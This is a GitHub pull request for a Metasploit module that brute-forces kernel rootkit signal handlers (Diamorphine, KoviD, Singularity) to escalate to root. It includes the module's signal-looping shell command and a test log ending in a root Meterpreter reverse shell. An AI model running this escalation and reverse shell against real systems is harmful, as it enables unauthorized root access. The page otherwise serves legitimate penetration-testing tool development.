-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Add Rootkit Privilege Escalation Signal Hunter #20643
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Rootkit Privilege Escalation Signal Hunter #20643
Conversation
| register_options([ | ||
| OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]), | ||
| OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]), | ||
| OptString.new('PID', [true, 'Process ID to send signals to', '$$']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This does not work on fish shell as it does not support $$. Regardless, using the current process is by far the safest default.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you want to be extra-fancy and support non-POSIX shells, cut -d ' ' -f 4 /proc/self/stat gets the current PID.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you want to be extra-fancy and support non-POSIX shells,
cut -d ' ' -f 4 /proc/self/statgets the current PID.
This still runs into the same issue with Fish which does not support $() or backticks for command substitution.
$$ is widely supported.
I'm not concerned about supporting Fish. The module that this module replaces also did not support Fish.
| # Iterate from MIN to MAX sending each signal to PID. | ||
| # SIGCONT if the process hangs. | ||
| res = cmd_exec( | ||
| %{i=#{datastore['MIN_SIGNAL']}; while [ "$i" -le #{datastore['MAX_SIGNAL']} ]; do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"; i=$((i + 1)); done 2>/dev/null}, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This abomination is designed to be portable, fast, and safe.
- Fast: Faster than calling
cmd_exec(kill ...)for each signal (but not as fast as using a PID which the user doesn't have permission to kill, such as PID 1, or PID for a non-existent process). - Portable: This should work on all POSIX compliant shells, but will fail on
fishdue to lack of support for$!(and$$). - Safe: A new shell is spawned for each attempt, and signals are sent to this PID by default.
Using a different PID (such as PID 1) by default would have made the code much faster and cleaner, but it is not a safe default. The module includes a root check to prevent running as root, but indiscriminately spamming signals at PID 1 is never safe. For example, CAP_KILL allows non-root users to kill arbitrary processes.
An alternative is to use PID 666 by default. This is the default PID used by KoviD rookit. But again, this runs the risk of terminating any legitimate process which happens to use this PID.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe putting it on several lines with a join would make it a bit less abominable?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Done. Still an abomination.
If we didn't care about leaving a few hung shell processes, the code would be much cleaner (a single command).
| 'Notes' => { | ||
| 'Reliability' => [ REPEATABLE_SESSION ], | ||
| 'Stability' => [ CRASH_OS_DOWN ], | ||
| 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why SCREEN_EFFECTS?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the session is associated with a user with a GUI session, the user may see crash handler popups.
| register_options([ | ||
| OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]), | ||
| OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]), | ||
| OptString.new('PID', [true, 'Process ID to send signals to', '$$']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| OptString.new('PID', [true, 'Process ID to send signals to', '$$']) | |
| OptString.new('PID', [true, 'Process ID to send signals to ($$ for the current process)', '$$']) |
Not everyone is fluent in sh-fu, and some people might be unaware of the $$ trick.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It is the process ID of a newly spawned process, rather than the current process. I've changed the description.
| register_options([ | ||
| OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]), | ||
| OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]), | ||
| OptString.new('PID', [true, 'Process ID to send signals to', '$$']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If you want to be extra-fancy and support non-POSIX shells, cut -d ' ' -f 4 /proc/self/stat gets the current PID.
| # Iterate from MIN to MAX sending each signal to PID. | ||
| # SIGCONT if the process hangs. | ||
| res = cmd_exec( | ||
| %{i=#{datastore['MIN_SIGNAL']}; while [ "$i" -le #{datastore['MAX_SIGNAL']} ]; do sh -c "kill -$i #{pid}; id" 2>/dev/null & pid=$!; sleep 0.1; kill -CONT "$pid" 2>/dev/null; wait "$pid"; i=$((i + 1)); done 2>/dev/null}, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe putting it on several lines with a join would make it a bit less abominable?
5fa9347 to
0fbf02b
Compare
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Singularity:
msf exploit(linux/local/rootkit_privesc_signal_hunter) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Trying signals 0 to 64 (PID: $$) ...
[*] Executing 'id' with signal 0 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 1 (PID: $$) ...
[*] Executing 'id' with signal 2 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 3 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 4 (PID: $$) ...
Illegal instruction (core dumped)
[*] Executing 'id' with signal 5 (PID: $$) ...
Trace/breakpoint trap (core dumped)
[*] Executing 'id' with signal 6 (PID: $$) ...
Aborted (core dumped)
[*] Executing 'id' with signal 7 (PID: $$) ...
Bus error (core dumped)
[*] Executing 'id' with signal 8 (PID: $$) ...
Floating point exception (core dumped)
[*] Executing 'id' with signal 9 (PID: $$) ...
[*] Executing 'id' with signal 10 (PID: $$) ...
[*] Executing 'id' with signal 11 (PID: $$) ...
Segmentation fault (core dumped)
[*] Executing 'id' with signal 12 (PID: $$) ...
[*] Executing 'id' with signal 13 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 14 (PID: $$) ...
[*] Executing 'id' with signal 15 (PID: $$) ...
[*] Executing 'id' with signal 16 (PID: $$) ...
[*] Executing 'id' with signal 17 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 18 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 19 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 20 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 21 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 22 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 23 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 24 (PID: $$) ...
CPU time limit exceeded (core dumped)
[*] Executing 'id' with signal 25 (PID: $$) ...
File size limit exceeded (core dumped)
[*] Executing 'id' with signal 26 (PID: $$) ...
[*] Executing 'id' with signal 27 (PID: $$) ...
[*] Executing 'id' with signal 28 (PID: $$) ...
uid=1000(ms) gid=1000(ms) groups=1000(ms),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin)
[*] Executing 'id' with signal 29 (PID: $$) ...
[*] Executing 'id' with signal 30 (PID: $$) ...
[*] Executing 'id' with signal 31 (PID: $$) ...
Bad system call (core dumped)
[*] Executing 'id' with signal 32 (PID: $$) ...
[*] Executing 'id' with signal 33 (PID: $$) ...
[*] Executing 'id' with signal 34 (PID: $$) ...
[*] Executing 'id' with signal 35 (PID: $$) ...
[*] Executing 'id' with signal 36 (PID: $$) ...
[*] Executing 'id' with signal 37 (PID: $$) ...
[*] Executing 'id' with signal 38 (PID: $$) ...
[*] Executing 'id' with signal 39 (PID: $$) ...
[*] Executing 'id' with signal 40 (PID: $$) ...
[*] Executing 'id' with signal 41 (PID: $$) ...
[*] Executing 'id' with signal 42 (PID: $$) ...
[*] Executing 'id' with signal 43 (PID: $$) ...
[*] Executing 'id' with signal 44 (PID: $$) ...
[*] Executing 'id' with signal 45 (PID: $$) ...
[*] Executing 'id' with signal 46 (PID: $$) ...
[*] Executing 'id' with signal 47 (PID: $$) ...
[*] Executing 'id' with signal 48 (PID: $$) ...
[*] Executing 'id' with signal 49 (PID: $$) ...
[*] Executing 'id' with signal 50 (PID: $$) ...
[*] Executing 'id' with signal 51 (PID: $$) ...
[*] Executing 'id' with signal 52 (PID: $$) ...
[*] Executing 'id' with signal 53 (PID: $$) ...
[*] Executing 'id' with signal 54 (PID: $$) ...
[*] Executing 'id' with signal 55 (PID: $$) ...
[*] Executing 'id' with signal 56 (PID: $$) ...
[*] Executing 'id' with signal 57 (PID: $$) ...
[*] Executing 'id' with signal 58 (PID: $$) ...
[*] Executing 'id' with signal 59 (PID: $$) ...
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),1000(ms)
[*] Executing 'id' with signal 60 (PID: $$) ...
[*] Executing 'id' with signal 61 (PID: $$) ...
[*] Executing 'id' with signal 62 (PID: $$) ...
[*] Executing 'id' with signal 63 (PID: $$) ...
[*] Executing 'id' with signal 64 (PID: $$) ...
[+] Found 1 signals for privilege escalation (59).
[*] Writing '/tmp/.08HYGo1T' (250 bytes) ...
[*] Trying signal 59 ...
[*] Executing '/tmp/.08HYGo1T & echo ' with signal 59 (PID: $$) ...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.225
[+] Deleted /tmp/.08HYGo1T
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.225:52050) at 2025-10-30 08:17:17 +0100
meterpreter > getuid
Server username: root
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you @bcoles for this module. I just left a couple of comments for you to review when you get a chance.
| kernel 5.19.0-38-generic (x64). | ||
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => 'bcoles', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should we also keep the author from the original module (m0nad)?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The module originally targeted the Diamorphine rootkit.
m0nad was not the author of the module. I credited m0nad as the author of the Diamorphine rootkit.
| register_options([ | ||
| OptInt.new('MIN_SIGNAL', [true, 'Start at signal', 0]), | ||
| OptInt.new('MAX_SIGNAL', [true, 'Stop at signal', 64]), | ||
| OptString.new('PID', [true, 'Process ID to send signals to ("new" to spawn a new process)', 'new']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker , but maybe we can use an unset option as the default value and consider the user wants to spawn a new process instead of using new? In this case, this option should be set as optional:
| OptString.new('PID', [true, 'Process ID to send signals to ("new" to spawn a new process)', 'new']) | |
| OptInt.new('PID', [false, 'Process ID to send signals to (leave unset to spawn a new process)']) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Good idea. Done.
0fbf02b to
676a2ed
Compare
Release NotesExpands diamorphine privilege escalation module to other rootkits, which use signal handling for privilege escalation. |
This module replaces
exploit/linux/local/diamorphine_rootkit_signal_priv_esc.